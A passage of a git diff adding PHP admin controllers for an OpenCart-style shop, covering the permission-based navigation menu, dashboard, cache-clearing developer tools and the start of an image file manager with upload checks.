+ $design[] = array(
+ 'name' => $this->language->get('text_theme'),
+ 'href' => $this->url->link('design/theme', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/translation')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_language_editor'),
+ 'href' => $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/banner')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_banner'),
+ 'href' => $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/seo_url')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_seo_url'),
+ 'href' => $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($design) {
+ $data['menus'][] = array(
+ 'id' => 'menu-design',
+ 'icon' => 'fa-television',
+ 'name' => $this->language->get('text_design'),
+ 'href' => '',
+ 'children' => $design
+ );
+ }
+
+ // Sales
+ $sale = array();
+
+ if ($this->user->hasPermission('access', 'sale/order')) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_order'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'sale/recurring')) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_order_recurring'),
+ 'href' => $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'sale/return')) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_return'),
+ 'href' => $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Voucher
+ $voucher = array();
+
+ if ($this->user->hasPermission('access', 'sale/voucher')) {
+ $voucher[] = array(
+ 'name' => $this->language->get('text_voucher'),
+ 'href' => $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'sale/voucher_theme')) {
+ $voucher[] = array(
+ 'name' => $this->language->get('text_voucher_theme'),
+ 'href' => $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($voucher) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_voucher'),
+ 'href' => '',
+ 'children' => $voucher
+ );
+ }
+
+ if ($sale) {
+ $data['menus'][] = array(
+ 'id' => 'menu-sale',
+ 'icon' => 'fa-shopping-cart',
+ 'name' => $this->language->get('text_sale'),
+ 'href' => '',
+ 'children' => $sale
+ );
+ }
+
+ // Customer
+ $customer = array();
+
+ if ($this->user->hasPermission('access', 'customer/customer')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_customer'),
+ 'href' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'customer/customer_group')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_customer_group'),
+ 'href' => $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'customer/customer_approval')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_customer_approval'),
+ 'href' => $this->url->link('customer/customer_approval', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'customer/custom_field')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_custom_field'),
+ 'href' => $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($customer) {
+ $data['menus'][] = array(
+ 'id' => 'menu-customer',
+ 'icon' => 'fa-user',
+ 'name' => $this->language->get('text_customer'),
+ 'href' => '',
+ 'children' => $customer
+ );
+ }
+
+ // Marketing
+ $marketing = array();
+
+ if ($this->user->hasPermission('access', 'marketing/marketing')) {
+ $marketing[] = array(
+ 'name' => $this->language->get('text_marketing'),
+ 'href' => $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketing/coupon')) {
+ $marketing[] = array(
+ 'name' => $this->language->get('text_coupon'),
+ 'href' => $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketing/contact')) {
+ $marketing[] = array(
+ 'name' => $this->language->get('text_contact'),
+ 'href' => $this->url->link('marketing/contact', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($marketing) {
+ $data['menus'][] = array(
+ 'id' => 'menu-marketing',
+ 'icon' => 'fa-share-alt',
+ 'name' => $this->language->get('text_marketing'),
+ 'href' => '',
+ 'children' => $marketing
+ );
+ }
+
+ // System
+ $system = array();
+
+ if ($this->user->hasPermission('access', 'setting/setting')) {
+ $system[] = array(
+ 'name' => $this->language->get('text_setting'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Users
+ $user = array();
+
+ if ($this->user->hasPermission('access', 'user/user')) {
+ $user[] = array(
+ 'name' => $this->language->get('text_users'),
+ 'href' => $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'user/user_permission')) {
+ $user[] = array(
+ 'name' => $this->language->get('text_user_group'),
+ 'href' => $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'user/api')) {
+ $user[] = array(
+ 'name' => $this->language->get('text_api'),
+ 'href' => $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($user) {
+ $system[] = array(
+ 'name' => $this->language->get('text_users'),
+ 'href' => '',
+ 'children' => $user
+ );
+ }
+
+ // Localisation
+ $localisation = array();
+
+ if ($this->user->hasPermission('access', 'localisation/location')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_location'),
+ 'href' => $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/language')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_language'),
+ 'href' => $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/currency')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_currency'),
+ 'href' => $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/stock_status')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_stock_status'),
+ 'href' => $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/order_status')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_order_status'),
+ 'href' => $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Returns
+ $return = array();
+
+ if ($this->user->hasPermission('access', 'localisation/return_status')) {
+ $return[] = array(
+ 'name' => $this->language->get('text_return_status'),
+ 'href' => $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/return_action')) {
+ $return[] = array(
+ 'name' => $this->language->get('text_return_action'),
+ 'href' => $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/return_reason')) {
+ $return[] = array(
+ 'name' => $this->language->get('text_return_reason'),
+ 'href' => $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($return) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_return'),
+ 'href' => '',
+ 'children' => $return
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/country')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_country'),
+ 'href' => $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/zone')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_zone'),
+ 'href' => $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/geo_zone')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_geo_zone'),
+ 'href' => $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Tax
+ $tax = array();
+
+ if ($this->user->hasPermission('access', 'localisation/tax_class')) {
+ $tax[] = array(
+ 'name' => $this->language->get('text_tax_class'),
+ 'href' => $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/tax_rate')) {
+ $tax[] = array(
+ 'name' => $this->language->get('text_tax_rate'),
+ 'href' => $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($tax) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_tax'),
+ 'href' => '',
+ 'children' => $tax
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/length_class')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_length_class'),
+ 'href' => $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/weight_class')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_weight_class'),
+ 'href' => $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($localisation) {
+ $system[] = array(
+ 'name' => $this->language->get('text_localisation'),
+ 'href' => '',
+ 'children' => $localisation
+ );
+ }
+
+ // Tools
+ $maintenance = array();
+
+ if ($this->user->hasPermission('access', 'tool/upgrade')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_upgrade'),
+ 'href' => $this->url->link('tool/upgrade', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'tool/backup')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_backup'),
+ 'href' => $this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'tool/upload')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_upload'),
+ 'href' => $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'tool/log')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_log'),
+ 'href' => $this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($maintenance) {
+ $system[] = array(
+ 'id' => 'menu-maintenance',
+ 'icon' => 'fa-cog',
+ 'name' => $this->language->get('text_maintenance'),
+ 'href' => '',
+ 'children' => $maintenance
+ );
+ }
+
+ if ($system) {
+ $data['menus'][] = array(
+ 'id' => 'menu-system',
+ 'icon' => 'fa-cog',
+ 'name' => $this->language->get('text_system'),
+ 'href' => '',
+ 'children' => $system
+ );
+ }
+
+ $report = array();
+
+ if ($this->user->hasPermission('access', 'report/report')) {
+ $report[] = array(
+ 'name' => $this->language->get('text_reports'),
+ 'href' => $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'report/online')) {
+ $report[] = array(
+ 'name' => $this->language->get('text_online'),
+ 'href' => $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'report/statistics')) {
+ $report[] = array(
+ 'name' => $this->language->get('text_statistics'),
+ 'href' => $this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($report) {
+ $data['menus'][] = array(
+ 'id' => 'menu-report',
+ 'icon' => 'fa-bar-chart',
+ 'name' => $this->language->get('text_reports'),
+ 'href' => '',
+ 'children' => $report
+ );
+ }
+
+ // Stats
+ if ($this->user->hasPermission('access', 'report/statistics')) {
+ $this->load->model('sale/order');
+
+ $order_total = (float)$this->model_sale_order->getTotalOrders();
+
+ $this->load->model('report/statistics');
+
+ $complete_total = (float)$this->model_report_statistics->getValue('order_complete');
+
+ if ($complete_total && $order_total) {
+ $data['complete_status'] = round(($complete_total / $order_total) * 100);
+ } else {
+ $data['complete_status'] = 0;
+ }
+
+ $processing_total = (float)$this->model_report_statistics->getValue('order_processing');
+
+ if ($processing_total && $order_total) {
+ $data['processing_status'] = round(($processing_total / $order_total) * 100);
+ } else {
+ $data['processing_status'] = 0;
+ }
+
+ $other_total = (float)$this->model_report_statistics->getValue('order_other');
+
+ if ($other_total && $order_total) {
+ $data['other_status'] = round(($other_total / $order_total) * 100);
+ } else {
+ $data['other_status'] = 0;
+ }
+
+ $data['statistics_status'] = true;
+ } else {
+ $data['statistics_status'] = false;
+ }
+
+ return $this->load->view('common/column_left', $data);
+ }
+ }
+}
diff --git a/public/admin/controller/common/dashboard.php b/public/admin/controller/common/dashboard.php
new file mode 100644
index 0000000..b634d6c
--- /dev/null
+++ b/public/admin/controller/common/dashboard.php
@@ -0,0 +1,101 @@
+load->language('common/dashboard');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ // Check install directory exists
+ if (is_dir(DIR_CATALOG . '../install')) {
+ $data['error_install'] = $this->language->get('error_install');
+ } else {
+ $data['error_install'] = '';
+ }
+
+ // Dashboard Extensions
+ $dashboards = array();
+
+ $this->load->model('setting/extension');
+
+ // Get a list of installed modules
+ $extensions = $this->model_setting_extension->getInstalled('dashboard');
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($extensions as $code) {
+ if ($this->config->get('dashboard_' . $code . '_status') && $this->user->hasPermission('access', 'extension/dashboard/' . $code)) {
+ $output = $this->load->controller('extension/dashboard/' . $code . '/dashboard');
+
+ if ($output) {
+ $dashboards[] = array(
+ 'code' => $code,
+ 'width' => $this->config->get('dashboard_' . $code . '_width'),
+ 'sort_order' => $this->config->get('dashboard_' . $code . '_sort_order'),
+ 'output' => $output
+ );
+ }
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($dashboards as $key => $value) {
+ $sort_order[$key] = $value['sort_order'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $dashboards);
+
+ // Split the array so the columns width is not more than 12 on each row.
+ $width = 0;
+ $column = array();
+ $data['rows'] = array();
+
+ foreach ($dashboards as $dashboard) {
+ $column[] = $dashboard;
+
+ $width = ($width + $dashboard['width']);
+
+ if ($width >= 12) {
+ $data['rows'][] = $column;
+
+ $width = 0;
+ $column = array();
+ }
+ }
+
+ if (!empty($column)) {
+ $data['rows'][] = $column;
+ }
+
+ if (DIR_STORAGE == DIR_SYSTEM . 'storage/') {
+ $data['security'] = $this->load->controller('common/security');
+ } else {
+ $data['security'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ // Run currency update
+ if ($this->config->get('config_currency_auto')) {
+ $this->load->model('localisation/currency');
+ $this->load->controller('extension/currency/' . $this->config->get('config_currency_engine')."/currency" , $this->config->get('config_currency'));
+ }
+
+ $this->response->setOutput($this->load->view('common/dashboard', $data));
+ }
+}
diff --git a/public/admin/controller/common/developer.php b/public/admin/controller/common/developer.php
new file mode 100644
index 0000000..6d1844e
--- /dev/null
+++ b/public/admin/controller/common/developer.php
@@ -0,0 +1,195 @@
+load->language('common/developer');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['developer_theme'] = $this->config->get('developer_theme');
+
+ $eval = false;
+
+ $eval = '$eval = true;';
+
+ eval($eval);
+
+ if ($eval === true) {
+ $data['eval'] = true;
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('developer', array('developer_theme' => 1), 0);
+
+ $data['eval'] = false;
+ }
+
+ $this->response->setOutput($this->load->view('common/developer', $data));
+ }
+
+ public function edit() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('developer', $this->request->post, 0);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function theme() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $directories = glob(DIR_CACHE . '/template/*', GLOB_ONLYDIR);
+
+ if ($directories) {
+ foreach ($directories as $directory) {
+ $files = glob($directory . '/*');
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ }
+ }
+
+ if (is_dir($directory)) {
+ rmdir($directory);
+ }
+ }
+ }
+
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_theme'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function systemcache() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $files = glob(DIR_CACHE . 'cache.*');
+
+ if (!empty($files)) {
+ foreach($files as $file){
+ $this->deldir($file);
+ }
+ }
+
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_systemcache'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function imgcache() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $imgfiles = glob(DIR_IMAGE . 'cache/*');
+
+ if (!empty($imgfiles)) {
+ foreach($imgfiles as $imgfile){
+ $this->deldir($imgfile);
+ }
+ }
+
+ $json['success'] = sprintf($this->language->get('text_img_cache'), $this->language->get('text_imgcache'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function allcache() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $files = glob(DIR_CACHE . 'cache.*');
+
+ if (!empty($files)) {
+ foreach($files as $file){
+ $this->deldir($file);
+ }
+ }
+
+ $imgfiles = glob(DIR_IMAGE . 'cache/*');
+
+ if (!empty($imgfiles)) {
+ foreach($imgfiles as $imgfile){
+ $this->deldir($imgfile);
+ }
+ }
+
+ $directories = glob(DIR_CACHE . '*', GLOB_ONLYDIR);
+
+ if ($directories) {
+ foreach ($directories as $directory) {
+ $files = glob($directory . '/*');
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ }
+ }
+
+ if (is_dir($directory)) {
+ $this->deldir($directory);
+ }
+ }
+ }
+
+
+
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_allcache'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function deldir($dirname){
+ if(file_exists($dirname)) {
+ if(is_dir($dirname)){
+ $dir=opendir($dirname);
+ while(($filename=readdir($dir)) !== false){
+ if($filename!="." && $filename!=".."){
+ $file=$dirname."/".$filename;
+ $this->deldir($file);
+ }
+ }
+ closedir($dir);
+ rmdir($dirname);
+ } else {
+ @unlink($dirname);
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/common/filemanager.php b/public/admin/controller/common/filemanager.php
new file mode 100644
index 0000000..846ec0f
--- /dev/null
+++ b/public/admin/controller/common/filemanager.php
@@ -0,0 +1,437 @@
+load->language('common/filemanager');
+
+ // Find which protocol to use to pass the full image link back
+ if ($this->request->server['HTTPS']) {
+ $server = HTTPS_CATALOG;
+ } else {
+ $server = HTTP_CATALOG;
+ }
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = rtrim(str_replace(array('*', '/', '\\'), '', $this->request->get['filter_name']), '/');
+ } else {
+ $filter_name = '';
+ }
+
+ // Make sure we have the correct directory
+ if (isset($this->request->get['directory'])) {
+ $directory = rtrim(DIR_IMAGE . 'catalog/' . trim(str_replace('*', '', $this->request->get['directory']), '/'), '/');
+ } else if (!empty($this->session->data['file_manager_directory'])) {
+ $directory = $this->session->data['file_manager_directory'];
+ } else {
+ $directory = DIR_IMAGE . 'catalog';
+ }
+
+ if (!file_exists($directory)) $directory = DIR_IMAGE . 'catalog';
+ $this->session->data['file_manager_directory'] = $directory;
+
+ $path = '/' . trim(utf8_substr($directory, utf8_strlen(DIR_IMAGE . 'catalog')), '/');
+
+ if ($directory != DIR_IMAGE . 'catalog' && !isset($this->request->get['directory'])) $this->request->get['directory'] = $path;
+
+ $data['heading_title'] = $this->language->get('heading_title') . ' - ' . $path;
+
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $directories = array();
+ $files = array();
+
+ $data['images'] = array();
+
+ $this->load->model('tool/image');
+
+ if (utf8_substr(str_replace('\\', '/', realpath($directory) . '/' . $filter_name), 0, utf8_strlen(DIR_IMAGE . 'catalog')) == str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ // Get directories
+ $directories = glob($directory . '/' . $filter_name . '*', GLOB_ONLYDIR);
+
+ if (!$directories) {
+ $directories = array();
+ }
+
+ // Get files
+ $files = glob($directory . '/' . $filter_name . '*.{jpg,jpeg,png,gif,JPG,JPEG,PNG,GIF}', GLOB_BRACE);
+
+ if (!$files) {
+ $files = array();
+ }
+ }
+
+ // Merge directories and files
+ $images = array_merge($directories, $files);
+
+ // Get total number of files and directories
+ $image_total = count($images);
+
+ // Split the array based on current page number and max number of items per page of 10
+ $images = array_splice($images, ($page - 1) * 16, 16);
+
+ foreach ($images as $image) {
+ $name = $this->basename_fixed($image);
+
+ if (is_dir($image)) {
+ $url = '';
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $data['images'][] = array(
+ 'thumb' => '',
+ 'name' => $name,
+ 'type' => 'directory',
+ 'path' => utf8_substr($image, utf8_strlen(DIR_IMAGE)),
+ 'href' => $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . '&directory=' . urlencode(utf8_substr($image, utf8_strlen(DIR_IMAGE . 'catalog/'))) . $url, true)
+ );
+ } elseif (is_file($image)) {
+ $data['images'][] = array(
+ 'thumb' => $this->model_tool_image->resize(utf8_substr($image, utf8_strlen(DIR_IMAGE)), 100, 100),
+ 'name' => $name,
+ 'type' => 'image',
+ 'path' => utf8_substr($image, utf8_strlen(DIR_IMAGE)),
+ 'href' => $server . 'image/' . utf8_substr($image, utf8_strlen(DIR_IMAGE))
+ );
+ }
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['directory'])) {
+ $data['directory'] = urlencode($this->request->get['directory']);
+ } else {
+ $data['directory'] = '';
+ }
+
+ if (isset($this->request->get['filter_name'])) {
+ $data['filter_name'] = $this->request->get['filter_name'];
+ } else {
+ $data['filter_name'] = '';
+ }
+
+ // Return the target ID for the file manager to set the value
+ if (isset($this->request->get['target'])) {
+ $data['target'] = $this->request->get['target'];
+ } else {
+ $data['target'] = '';
+ }
+
+ // Return the thumbnail for the file manager to show a thumbnail
+ if (isset($this->request->get['thumb'])) {
+ $data['thumb'] = $this->request->get['thumb'];
+ } else {
+ $data['thumb'] = '';
+ }
+
+ // Parent
+ $url = '';
+
+ if (isset($this->request->get['directory'])) {
+ $dir_part = explode('/', $this->request->get['directory']);
+
+ array_pop($dir_part);
+
+ $url .= '&directory=' . urlencode(implode('/', $dir_part));
+ }
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $data['parent'] = $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ // Refresh
+ $url = '';
+
+ if (isset($this->request->get['directory'])) {
+ $url .= '&directory=' . urlencode($this->request->get['directory']);
+ }
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $data['refresh'] = $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['directory'])) {
+ $url .= '&directory=' . urlencode(html_entity_decode($this->request->get['directory'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $image_total;
+ $pagination->page = $page;
+ $pagination->limit = 16;
+ $pagination->url = $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $this->response->setOutput($this->load->view('common/filemanager', $data));
+ }
+
+ // FIX: basename not work with UTF-8 multibyte names
+ private function basename_fixed($path) {
+ $path_part = explode('/', $path);
+ return array_pop($path_part);
+ }
+
+ public function upload() {
+ $this->load->language('common/filemanager');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'common/filemanager')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Make sure we have the correct directory
+ if (isset($this->request->get['directory'])) {
+ $directory = rtrim(DIR_IMAGE . 'catalog/' . $this->request->get['directory'], '/');
+ } else {
+ $directory = DIR_IMAGE . 'catalog';
+ }
+
+ // Check its a directory
+ if (!is_dir($directory) || utf8_substr(str_replace('\\', '/', realpath($directory)), 0, utf8_strlen(DIR_IMAGE . 'catalog')) != str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ // Check if multiple files are uploaded or just one
+ $files = array();
+
+ if (!empty($this->request->files['file']['name']) && is_array($this->request->files['file']['name'])) {
+ foreach (array_keys($this->request->files['file']['name']) as $key) {
+ $files[] = array(
+ 'name' => $this->request->files['file']['name'][$key],
+ 'type' => $this->request->files['file']['type'][$key],
+ 'tmp_name' => $this->request->files['file']['tmp_name'][$key],
+ 'error' => $this->request->files['file']['error'][$key],
+ 'size' => $this->request->files['file']['size'][$key]
+ );
+ }
+ }
+
+ foreach ($files as $file) {
+ if (is_file($file['tmp_name'])) {
+ // Sanitize the filename
+ $filename = $this->basename_fixed(html_entity_decode($file['name'], ENT_QUOTES, 'UTF-8'));
+
+ // Validate the filename length
+ if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 255)) {
+ $json['error'] = $this->language->get('error_filename');
+ }
+
+ // Allowed file extension types
+ $allowed = array(
+ 'jpg',
+ 'jpeg',
+ 'gif',
+ 'png'
+ );
+
+ if (!in_array(utf8_strtolower(utf8_substr(strrchr($filename, '.'), 1)), $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ $allowed = array(
+ 'image/jpeg',
+ 'image/pjpeg',
+ 'image/png',
+ 'image/x-png',
+ 'image/gif'
+ );
+
+ if (!in_array($file['type'], $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ if ($file['size'] > $this->config->get('config_file_max_size')) {
+ $json['error'] = $this->language->get('error_filesize');
+ }
+
+ // Return any upload error
+ if ($file['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $file['error']);
+ }
+ } else {
